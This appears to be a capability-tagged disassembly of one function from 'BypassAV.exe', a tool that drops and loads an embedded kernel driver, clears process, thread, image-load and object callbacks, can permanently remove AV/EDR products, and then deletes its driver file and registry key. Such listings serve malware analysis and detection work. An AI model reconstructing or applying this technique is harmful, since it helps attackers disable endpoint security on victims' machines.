Function at 0x140005000
Capabilities:
Delete file
Delete registry key
Extract resource via kernel32 functions
Get common file path
Terminate process
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x30], rax
lea eax, [rcx - 2]
mov rbx, rdx
mov edi, ecx
cmp eax, 1
jbe 0x140005065
call fcn.140003f80
lea rcx, str.Usage:_BypassAV.exe__driver_type___clear__n
call fcn.140005730
lea rcx, str.Supported_driver_numbers:_1__2__3__4__5_n_n
call fcn.140005730
lea rcx, str.eg:_BypassAV.exe_1_n
call fcn.140005730
lea rcx, str.eg:_BypassAV.exe_2_clear________Permanently_delete_AV_EDR__n
call fcn.140005730
jmp 0x140005628
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x170], r14
call fcn.14000ccc8
xor r14d, r14d
mov dword [0x14002ad30], eax
cmp edi, 3
jne 0x140005088
mov r14, qword [rbx + 0x10]
call fcn.140003f80
xor ecx, ecx
call fcn.140009500
mov rcx, rax
call fcn.14000c974
call fcn.14000c948
mov ebx, eax
and ebx, 0x80000003
jge 0x1400050b2
dec ebx
or ebx, 0xfffffffc
inc ebx
movaps xmm0, xmmword [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
add ebx, 7
movzx eax, word [0x1400247d8]
movaps xmm1, xmmword [0x140024780]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [0x140024790]
lea ecx, [rbx + rbx]
movaps xmmword [rbp - 0x80], xmm0
add ecx, 0xc
movaps xmm0, xmmword [0x1400247b0]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [0x1400247a0]
mov word [rbp - 0x38], ax
mov rax, 0xffffffffffffffff
movaps xmmword [rbp - 0x60], xmm0
cmovb rcx, rax
movsd xmm0, qword [0x1400247d0]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm1, xmmword [0x1400247c0]
lea edx, [rax + 2]
movsd qword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm1
call fcn.14000c188
mov qword [0x140029d70], rax
test rax, rax
je 0x14000564f
mov qword [rsp + 0x160], rsi
movsxd rsi, ebx
test ebx, ebx
jle 0x140005181
xor edi, edi
nop dword [rax + rax]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [rax - 1]
call fcn.14000c948
cdq
idiv ebx
movsxd rax, edx
movzx ecx, word [rsp + rax*2 + 0x60]
mov rax, qword [0x140029d70]
mov word [rax + rdi*2], cx
inc rdi
cmp rdi, rsi
jl 0x140005150
mov eax, dword [0x14002ad30]
cmp eax, 1
jne 0x140005191
lea edx, [rax + 0x64]
jmp 0x1400051bb
cmp eax, 2
jne 0x14000519b
lea edx, [rax + 0x64]
jmp 0x1400051bb
cmp eax, 3
jne 0x1400051a5
lea edx, [rax + 0x64]
jmp 0x1400051bb
cmp eax, 4
jne 0x1400051af
lea edx, [rax + 0x64]
jmp 0x1400051bb
cmp eax, 5
jne 0x140005641
lea edx, [rax + 0x64]
lea r8, [0x140024fd8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x1400051e3
lea rcx, str.ExtractDriver:_Could_not_find_resource._n
call fcn.140005730
jmp 0x140005618
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140005204
lea rcx, str.ExtractDriver:_Could_not_load_resource._n
call fcn.140005730
jmp 0x140005618
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rdx, [0x140029b60]
mov ecx, 0x104
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov r8, qword [0x140029d70]
lea rcx, [0x140029b60]
mov edx, 0x104
call fcn.14000ccf4
lea r8, str..sys
mov edx, 0x104
lea rcx, [0x140029b60]
call fcn.14000ccf4
mov qword [rsp + 0x30], 0
lea rcx, [0x140029b60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000529d
lea rcx, str.ExtractDriver:_Could_not_create_driver_file._n
call fcn.140005730
jmp 0x140005618
mov rdx, rbx
mov dword [rsp + 0x48], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], 0
mov r8d, eax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140005618
call fcn.140001710
test eax, eax
je 0x140005618
lea rcx, str.PsSetCreateProcessNotifyRoutine
call fcn.1400026d0
lea rcx, str.PsSetCreateThreadNotifyRoutine
mov rdi, rax
call fcn.1400026d0
mov rbx, rax
test rdi, rdi
je 0x140005321
lea rdx, str.PsSetCreateProcessNotifyRoutine
mov rcx, rdi
call fcn.140002950
jmp 0x14000532d
lea rcx, str.ClearThreeCallBack:_Failed_to_obtain_process_callback_address._n
call fcn.140005730
test rbx, rbx
je 0x140005343
lea rdx, str.PsSetCreateThreadNotifyRoutine
mov rcx, rbx
call fcn.140002950
jmp 0x14000534f
lea rcx, str.ClearThreeCallBack:_Failed_to_obtain_thread_callback_address._n
call fcn.140005730
cmp dword [0x14002ad30], 3
jne 0x140005364
cmp dword [0x140029d6c], 0x55f0
jae 0x140005392
lea rcx, str.PsSetLoadImageNotifyRoutine
call fcn.1400026d0
test rax, rax
je 0x140005386
lea rdx, str.PsSetLoadImageNotifyRoutine
mov rcx, rax
call fcn.140002950
jmp 0x140005392
lea rcx, str.ClearThreeCallBack:_Image_loading_callback_address_acquisition_failed._n
call fcn.140005730
mov ecx, 1
call fcn.140002d30
mov rbx, rax
test rax, rax
jne 0x1400053b2
lea rcx, str.ClearObRegisterCallbacks:_Failed_to_obtain_PsProcessTypeAddr1._n
call fcn.140005730
jmp 0x140005404
mov ecx, 2
call fcn.140002d30
mov rdi, rax
test rax, rax
jne 0x1400053d2
lea rcx, str.ClearObRegisterCallbacks:_Failed_to_obtain_PsThreadTypetypeAddr2._n
call fcn.140005730
jmp 0x140005404
lea rcx, str._____________________________________________________n
call fcn.140005730
lea rcx, str.Drivers_that_register_ObRegisterCallbacks_callbacks:__n_____________________________________________________n_n
call fcn.140005730
mov edx, 1
mov rcx, rbx
call fcn.140002ea0
mov edx, 2
mov rcx, rdi
call fcn.140002ea0
call fcn.1400032d0
call fcn.140003800
test r14, r14
je 0x140005436
cmp dword [0x14002ad30], 2
je 0x140005436
lea rdx, str.clear
mov rcx, r14
call fcn.14000c1d0
test eax, eax
jne 0x140005436
call fcn.140004980
jmp 0x140005442
lea rcx, str._n_____________________________________________________n_INFO__No_option_to_permanently_close_AV_EDR__skip_execution._n
call fcn.140005730
lea rcx, str._n_____________________________________________________n
call fcn.140005730
mov rcx, qword [0x14002ad28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140005473
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.UnloadDriver:_CloseHandle_failed__d_._n
call fcn.140005730
lea rcx, [0x140023a90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x14000549a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.UnloadDriver:_LoadLibrary_failed__d_._n
jmp 0x140005611
lea rdx, str.RtlAdjustPrivilege
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rsp + 0x48]
lea edx, [r8 + 1]
lea ecx, [rdx + 9]
call rax
test eax, eax
jns 0x1400054cb
lea rcx, str.UnloadDriver:_RtlAdjustPrivilege_failed__lx_._n
jmp 0x140005611
lea rdx, [0x140023ac8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmm0, xmmword [str.RegistryMachineSystemCurrentControlSetServices_]
lea rcx, [rbp - 0x36]
movaps xmm1, xmmword [0x140023b50]
xor edx, edx
movaps xmmword [rsp + 0x60], xmm0
mov rbx, rax
movaps xmm0, xmmword [0x140023b60]
movzx eax, word [0x140023ba8]
movaps xmmword [rbp - 0x80], xmm0
lea r8d, [rdx + 0x5e]
movaps xmm0, xmmword [0x140023b80]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [0x140023b70]
movaps xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x140023ba0]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm1, xmmword [0x140023b90]
movsd qword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x38], ax
call fcn.140006980
mov rdx, qword [0x140029d70]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call rbx
lea rdx, str.NtUnloadDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x50]
call rax
test eax, eax
js 0x140005590
lea rcx, str.Driver_uninstalled_successfully._n
call fcn.140005730
jmp 0x14000559e
mov edx, eax
lea rcx, str.UnloadDriver:_NtUnloadDriver_failed__lx_._n
call fcn.140005730
lea rax, [rsp + 0x40]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SystemCurrentControlSetServices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400055df
mov rdx, qword [0x140029d70]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x1400055f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.UnloadDriver:_RegDeleteKey_failed__d_._n
call fcn.140005730
lea rcx, [0x140029b60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140005618
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.UnloadDriver:_DeleteFile_failed__d_._n
mov edx, eax
call fcn.140005730
mov rsi, qword [rsp + 0x160]
mov r14, qword [rsp + 0x170]
xor eax, eax
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.1400057b0
add rsp, 0x140
pop rdi
pop rbx
pop rbp
ret
lea rcx, str.ExtractDriver:_Unsupported_driver_type._n
call fcn.140005730
jmp 0x140005618
lea rcx, str.Random_Error__n
call fcn.140005730
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]